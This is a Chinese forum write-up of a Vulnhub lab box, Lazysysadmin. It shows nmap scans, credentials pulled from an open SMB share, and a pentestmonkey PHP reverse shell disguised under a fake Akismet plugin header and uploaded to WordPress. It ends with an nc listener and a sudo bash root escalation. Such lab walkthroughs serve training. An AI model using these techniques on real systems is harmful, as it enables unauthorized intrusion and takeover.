Lazysysadmin靶机笔记

打印 上一主题 下一主题

主题 852|帖子 852|积分 2556

Lazysysadmin靶机笔记

概述

lazysysadmin是一台Vulnhub靶机,整体比较简朴,要对一些存在服务弱口令比较敏感。
靶机地址:https://pan.baidu.com/s/19nBjhMpGkdBDBFSnMEDfOg?pwd=heyj
提取码:heyj
一、nmap扫描

1、主机发现
  1. # -sn只做ping扫描,不做端口扫描
  2. sudo nmap -sn 192.168.247.1/24
复制代码
看到靶机IP地址是192.168.247.138
  1. MAC Address: 00:50:56:FA:CB:D3 (VMware)                                                               
  2. Nmap scan report for 192.168.247.138                        
  3. Host is up (0.00072s latency).  
复制代码
2、端口扫描

-sT 以TCP全连接扫描,--min-rate 10000 以最低10000速率进行扫描,-p-进行全端口扫描,-o ports结果输出到ports文件中
  1. sudo nmap -sT --min-rate 10000 -p- 192.168.247.138 -o ports     
复制代码
  1. Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-08 10:21 EDT                                                                    
  2. Nmap scan report for 192.168.247.138                                                                                               
  3. Host is up (0.0023s latency).                                                                                                      
  4. Not shown: 65529 closed tcp ports (conn-refused)
  5. PORT     STATE SERVICE
  6. 22/tcp   open  ssh
  7. 80/tcp   open  http
  8. 139/tcp  open  netbios-ssn
  9. 445/tcp  open  microsoft-ds
  10. 3306/tcp open  mysql
  11. 6667/tcp open  irc
  12. MAC Address: 00:0C:29:D5:2D:FE (VMware)
  13. Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds
复制代码
提取端口
cat 查看文件 grep过滤open字符串  awk 中-F指定分隔符,打印分隔后的第一列,paste -s指定多行拼接,-d指定拼接符
  1. cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','
复制代码
结果 22,80,139,445,3306,6667
复制给变了ports
  1. ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')
复制代码
3、详细信息扫描

以tcp, 探测版本,  以默认脚本  扫描端口 $ports,探测操作体系版本,输出到details文件中
  1. sudo nmap -sT -sV -sC -p$ports -O 192.168.247.138 -o details
  2. # 在输入完$ports按tab键会自动补全端口
  3. sudo nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O 192.168.247.138 -o details
复制代码
结果:
  1. # Nmap 7.93 scan initiated Thu Aug  8 10:27:15 2024 as: nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O -o details 192.168.247.138
  2. Nmap scan report for 192.168.247.138
  3. Host is up (0.00059s latency).
  4. PORT     STATE SERVICE     VERSION
  5. 22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  6. | ssh-hostkey:
  7. |   1024 b538660fa1eecd41693b82cfada1f713 (DSA)
  8. |   2048 585a6369d0dadd51ccc16e00fd7e61d0 (RSA)
  9. |   256 6130f3551a0ddec86a595bc99cb49204 (ECDSA)
  10. |_  256 1f65c0dd15e6e421f2c19ba3b655a045 (ED25519)
  11. 80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
  12. |_http-server-header: Apache/2.4.7 (Ubuntu)
  13. |_http-generator: Silex v2.2.7
  14. |_http-title: Backnode
  15. | http-robots.txt: 4 disallowed entries
  16. |_/old/ /test/ /TR2/ /Backnode_files/
  17. 139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  18. 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
  19. 3306/tcp open  mysql       MySQL (unauthorized)
  20. 6667/tcp open  irc         InspIRCd
  21. | irc-info:
  22. |   server: Admin.local
  23. |   users: 1
  24. |   servers: 1
  25. |   chans: 0
  26. |   lusers: 1
  27. |   lservers: 0
  28. |   source ident: nmap
  29. |   source host: 192.168.247.128
  30. |_  error: Closing link: (nmap@192.168.247.128) [Client exited]
  31. MAC Address: 00:0C:29:D5:2D:FE (VMware)
  32. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  33. Device type: general purpose
  34. Running: Linux 3.X|4.X
  35. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  36. OS details: Linux 3.2 - 4.9
  37. Network Distance: 1 hop
  38. Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  39. Host script results:
  40. |_clock-skew: mean: -3h19m58s, deviation: 5h46m24s, median: 1s
  41. | smb-os-discovery:
  42. |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
  43. |   Computer name: lazysysadmin
  44. |   NetBIOS computer name: LAZYSYSADMIN\x00
  45. |   Domain name: \x00
  46. |   FQDN: lazysysadmin
  47. |_  System time: 2024-08-09T00:27:30+10:00
  48. |_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
  49. | smb2-security-mode:
  50. |   311:
  51. |_    Message signing enabled but not required
  52. | smb-security-mode:
  53. |   account_used: guest
  54. |   authentication_level: user
  55. |   challenge_response: supported
  56. |_  message_signing: disabled (dangerous, but default)
  57. | smb2-time:
  58. |   date: 2024-08-08T14:27:30
  59. |_  start_date: N/A
  60. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  61. # Nmap done at Thu Aug  8 10:27:38 2024 -- 1 IP address (1 host up) scanned in 23.27 seconds
复制代码
看到目标服务开启了ssh,smb,http,mysql,和irc服务
4、默认脚本扫描
  1. nmap --script=vuln -p22,80,139,445,3306,6667 192.168.247.138 -o vuln
复制代码
  1. PORT     STATE SERVICE
  2. 22/tcp   open  ssh
  3. 80/tcp   open  http
  4. | http-slowloris-check:
  5. |   VULNERABLE:
  6. |   Slowloris DOS attack
  7. |     State: LIKELY VULNERABLE
  8. |     IDs:  CVE:CVE-2007-6750
  9. |       Slowloris tries to keep many connections to the target web server open and hold
  10. |       them open as long as possible.  It accomplishes this by opening connections to
  11. |       the target web server and sending a partial request. By doing so, it starves
  12. |       the http server's resources causing Denial Of Service.
  13. |      
  14. |     Disclosure date: 2009-09-17
  15. |     References:
  16. |       http://ha.ckers.org/slowloris/
  17. |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
  18. |_http-dombased-xss: Couldn't find any DOM based XSS.
  19. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  20. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  21. | http-enum:
  22. |   /wordpress/: Blog
  23. |   /test/: Test page
  24. |   /robots.txt: Robots file
  25. |   /info.php: Possible information file
  26. |   /phpmyadmin/: phpMyAdmin
  27. |   /wordpress/wp-login.php: Wordpress login page.
  28. |   /apache/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
  29. |_  /old/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
  30. 139/tcp  open  netbios-ssn
  31. 445/tcp  open  microsoft-ds
  32. 3306/tcp open  mysql
  33. 6667/tcp open  irc
  34. |_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
  35. | irc-botnet-channels:
  36. |_  ERROR: TIMEOUT
  37. Host script results:
  38. |_smb-vuln-ms10-054: false
  39. | smb-vuln-regsvc-dos:
  40. |   VULNERABLE:
  41. |   Service regsvc in Microsoft Windows systems vulnerable to denial of service
  42. |     State: VULNERABLE
  43. |       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
  44. |       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
  45. |       while working on smb-enum-sessions.
  46. |_         
  47. |_smb-vuln-ms10-061: false
  48. Nmap done: 1 IP address (1 host up) scanned in 320.62 seconds
复制代码
根据优先级,我们应该是先对web做渗出测试,让后一次是smb,mysql,ssh等
二、web渗出

nmap默认漏洞脚本扫描结果出现了几条路径,我们访问一下
  1. 192.168.247.138
复制代码

主页,这里翻看了一下,没有什么有效的信息
  1. 192.168.247.138/wordpress/
复制代码
这里一直在夸大My name is togie
togie会不会就是用户名呢,我们先往下看
  1. 192.168.247.138/test/
  2. 192.168.247.138/apache/
  3. 192.168.247.138/old/
  4. 192.168.247.138/info.php
  5. 192.168.247.138/robots.txt
复制代码
上面这些都路径没有有效的信息
我们看一下两个登陆页面
  1. http://192.168.247.138/phpMyAdmin/
  2. 192.168.247.138/wordpress/wp-login.php
复制代码
尝试了弱口令,并不能登陆成功
尝试目录爆破,看看另有什么我们遗漏的页面:gobuster 、ffuf、dirb、dirsearch都可以
有兴趣可以认识一下命令,这是我们渗出测试应该想到的东西,虽然这次没有有价值信息。
目录爆破出来也是这些页面,并没有什么有价值的信息
web总结:我们发现了一个可能的用户名togie
三、smb服务渗出

1)ssh凭证
  1. smbclient -L 192.168.247.138
  2. rename       Type      Comment
  3.         ---------       ----      -------
  4.         print$          Disk      Printer Drivers
  5.         share$          Disk      Sumshare
  6.         IPC$            IPC       IPC Service (Web server)
  7. Reconnecting with SMB1 for workgroup listing.
  8.         Server               Comment
  9.         ---------            -------
  10.         Workgroup            Master
  11.         ---------            -------
  12.         WORKGROUP      
复制代码
我们不知道密码,就用空密码看看能不能访问共享文件
我们最感兴趣的应该是share$目录了,进去看看
  1. smbclient //192.168.247.138/share$
复制代码
  1. Password for [WORKGROUP\kali]:
  2. Try "help" to get a list of possible commands.
  3. smb: \>
复制代码
进来了,我们翻找一下有效的信息吧
  1. smb: \> dir
  2.   .                                   D        0  Tue Aug 15 07:05:52 2017
  3.   ..                                  D        0  Mon Aug 14 08:34:47 2017
  4.   wordpress                           D        0  Fri Aug  9 20:44:17 2024
  5.   Backnode_files                      D        0  Mon Aug 14 08:08:26 2017
  6.   wp                                  D        0  Tue Aug 15 06:51:23 2017
  7.   deets.txt                           N      139  Mon Aug 14 08:20:05 2017
  8.   robots.txt                          N       92  Mon Aug 14 08:36:14 2017
  9.   todolist.txt                        N       79  Mon Aug 14 08:39:56 2017
  10.   apache                              D        0  Mon Aug 14 08:35:19 2017
  11.   index.html                          N    36072  Sun Aug  6 01:02:15 2017
  12.   info.php                            N       20  Tue Aug 15 06:55:19 2017
  13.   test                                D        0  Mon Aug 14 08:35:10 2017
  14.   old                                 D        0  Mon Aug 14 08:35:13 2017
  15.                 3029776 blocks of size 1024. 1313772 blocks available
复制代码
mget下来
  1. smb: \> mget *.*
  2. Get file deets.txt? y
  3. getting file \deets.txt of size 139 as deets.txt (33.9 KiloBytes/sec) (average 33.9 KiloBytes/sec)
  4. Get file robots.txt? y
  5. getting file \robots.txt of size 92 as robots.txt (29.9 KiloBytes/sec) (average 32.2 KiloBytes/sec)
  6. Get file todolist.txt? y
  7. getting file \todolist.txt of size 79 as todolist.txt (25.7 KiloBytes/sec) (average 30.3 KiloBytes/sec)
  8. Get file index.html? y
  9. getting file \index.html of size 36072 as index.html (7045.2 KiloBytes/sec) (average 2368.6 KiloBytes/sec)
  10. Get file info.php? y
  11. getting file \info.php of size 20 as info.php (9.8 KiloBytes/sec) (average 2091.1 KiloBytes/sec)
复制代码
查看一下这里只有deets有一些我们用的到的信息
  1. cat deets.txt
  2. CBF Remembering all these passwords.
  3. Remember to remove this file and update your password after we push out the server.
  4. Password 12345
复制代码
给了我们一个password 12345
这会不会是togie的密码呢
2)wordpress凭证

我们接着看smb的/wordpress目录
  1. smb: \wordpress\> ls
  2.   .                                   D        0  Fri Aug  9 20:44:17 2024
  3.   ..                                  D        0  Tue Aug 15 07:05:52 2017
  4.   wp-config-sample.php                N     2853  Wed Dec 16 04:58:26 2015
  5.   wp-trackback.php                    N     4582  Fri Aug  9 10:33:20 2024
  6.   wp-admin                            D        0  Wed Aug  2 17:02:02 2017
  7.   wp-settings.php                     N    16200  Thu Apr  6 14:01:42 2017
  8.   wp-blog-header.php                  N      364  Sat Dec 19 06:20:28 2015
  9.   index.php                           N      418  Tue Sep 24 20:18:11 2013
  10.   wp-cron.php                         N     3286  Sun May 24 13:26:25 2015
  11.   wp-links-opml.php                   N     2422  Sun Nov 20 21:46:30 2016
  12.   readme.html                         N     7413  Fri Aug  9 10:33:21 2024
  13.   wp-signup.php                       N    29924  Tue Jan 24 06:08:42 2017
  14.   wp-content                          D        0  Fri Aug  9 10:56:13 2024
  15.   license.txt                         N    19935  Fri Aug  9 10:33:21 2024
  16.   wp-mail.php                         N     8002  Fri Aug  9 10:33:21 2024
  17.   wp-activate.php                     N     6864  Fri Aug  9 10:33:21 2024
  18.   .htaccess                           H       35  Tue Aug 15 07:40:13 2017
  19.   xmlrpc.php                          N     3065  Wed Aug 31 12:31:29 2016
  20.   wp-login.php                        N    34347  Fri Aug  9 10:33:21 2024
  21.   wp-load.php                         N     3301  Mon Oct 24 23:15:30 2016
  22.   wp-comments-post.php                N     1627  Mon Aug 29 08:00:32 2016
  23.   wp-config.php                       N     3703  Mon Aug 21 05:25:14 2017
  24.   wp-includes                         D        0  Wed Aug  2 17:02:03 2017
  25.                 3029776 blocks of size 1024. 1313868 blocks available
复制代码
我们看到了wp-config.php、license.txt下载下来查看一下
看到了一组wordpress凭证,我们写进``creds`文件里
四、获得立足点

两组凭据

方式1:ssh凭据
  1. ssh togie@192.168.247.138
复制代码
方式二:wordpress

登陆进后台首先想到上传插件的方式去反弹shell
这里网上随便找一个php反弹shell的脚本,我找的是pentestmonkey的
随便找一个plugin的头部,添加到我们的反弹脚本里
  1. /**
  2. * @package Akismet
  3. */
  4. /*
  5. Plugin Name: Akismet Anti-Spam
  6. Plugin URI: https://akismet.com/
  7. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
  8. Version: 3.3.3
  9. Author: Automattic
  10. Author URI: https://automattic.com/wordpress-plugins/
  11. License: GPLv2 or later
  12. Text Domain: akismet
  13. */
复制代码
让后打包成zip文件,因为上传只能是zip
  1. zip rev.zip php-reverse-shell.php
  2.   adding: php-reverse-shell.php (deflated 58%)
复制代码
上传安装

成功

本地监听
  1. nc -lvp 4444
复制代码
访问
  1. 192.168.247.138/wordpress/wp-content/plugins/rev/php-reverse-shell.php
复制代码
收到反弹shell
  1. python -c "import pty;pty.spawn('/bin/bash')"
  2. ww-data@LazySysAdmin:/$ uname -a
  3. uname -a
  4. Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
  5. export TERM=xterm-color # 可以用clear清屏
复制代码
翻找flag,有一个togie用户但目录下是空的。我们切换到它
  1. www-data@LazySysAdmin:/home/togie$ su togie
  2. su togie
  3. Password: 12345
  4. togie@LazySysAdmin:~$
复制代码
五、提权到root
  1. sudo -l #查看一下
复制代码

togie的sudo(ALL:ALL)ALL的
直接sudo/bin/bash提权

拿到flag
  1. root@LazySysAdmin:/root# cat proof.txt
  2. cat proof.txt
  3. WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
  4. Well done :)
  5. Hope you learn't a few things along the way.
  6. Regards,
  7. Togie Mcdogie
  8. Enjoy some random strings
  9. WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
  10. 2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
  11. pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
  12. bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
复制代码
总结


  • 我们显示用nmap扫描发现目标开放了22,80,139,445等端口的服务,根据优先级,优先选择web的端口
  • 通过漏洞脚本的扫描我们发现了一些web的路径,通过一个一个的访问,我们发现了一个可能的用户名togie,以及wordpress和phpmyadmin的登陆框
  • 我们利用smb服务发现了togie用户的密码,以及wp的用户名和密码。
  • 通过ssh或者wp的反弹shell,成功获得立足点
  • 利用sudo /bin/bash 命令进行提权到root,拿到flag proof.txt文件

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

惊落一身雪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表